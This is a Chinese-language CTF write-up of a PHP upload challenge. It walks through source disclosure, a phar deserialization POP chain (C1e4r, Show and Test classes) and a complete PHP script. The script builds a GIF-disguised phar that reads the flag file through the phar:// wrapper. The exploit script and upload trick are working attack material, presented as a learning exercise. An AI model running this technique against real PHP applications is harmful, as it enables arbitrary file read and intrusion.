文件上传测试,发现对文件后缀有着严格的过滤
上传无果
他这里有个查看文件点进去看看
注意url,猜测文件包含
他源代码里有个flag.php,读取失败,但是读取upload_file.php却可以
读取funciton.php
白名单过滤,那我试一试上传图片🐎
⑧彳亍,他上传完后会更改文件名,那俺把他源码全搞下来
有这么些代码
重要的是class.php
看到这里就不难想到是phar反序列化了
看到show类的_show方法,有个高危函数
而Test类也有个高危函数
接着寻找POP链
看到Show类的_show方法,很明显可以发现
toString()方法里返回的$str变量居然还有一个属性,source,那么这个str[‘str’]一定是类。
肯定是要触发这个方法,而触发这个方法的关键点是echo
找到echo
在C1e4r类这里有个echo,Show类的那个echo是在construct方法里,这个会在类构建的时候自动调用,没啥用。又不能控制$file的值
而C1e4r里的echo是在_destruct方法下,这个会类销毁的时候自动调用,刚好可以触发Show类的to_String()魔术方法。
然后就是让to_String()下面的$str为一个类
这两个类都用的差不多了
看到最后一个类
看上面图很容易了
利用Test类的__get方法触发file_get_contents()函数进行任意文件读取
而触发__get($key)方法的唯一条件是访问一个不可访问变量
而当我们利用toString方法访问Test类里的source变量刚好构成__get($key)是访问一个不可访问变量
由此POP链构造如下
C1e4r::destruct---->Show::toString-->Test::__get()--->get()
经过本地测试,Show类里面的在这里插入代码片
这个source是指Test里的param数组里的source,param这个数组必须有source这个键名,然后再触发__get($key)魔术方法,
写一个生成phar的jio本
<?php
class C1e4r
{
public $str;
}
class Show
{
public $str;
}
class Test
{
public $params;
}
$c = new C1e4r();
$show = new Show();
$test= new Test();
$test->params['source'] = "/var/www/html/f1ag.php";
$c->str = $show;
$show->str['str'] = $test;
@unlink("phar.phar");
$p = new Phar('phar.phar');
$p->startBuffering();
$p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
$p->setMetadata($c);
$p->addFromString('1.txt','text');
$p->stopBuffering();
?>
然后上传,由于有个白名单过滤,改为白名单上传
利用phar协议解析那个文件,会当成phar文件来解析
进到查看文件phar为协议那个文件即可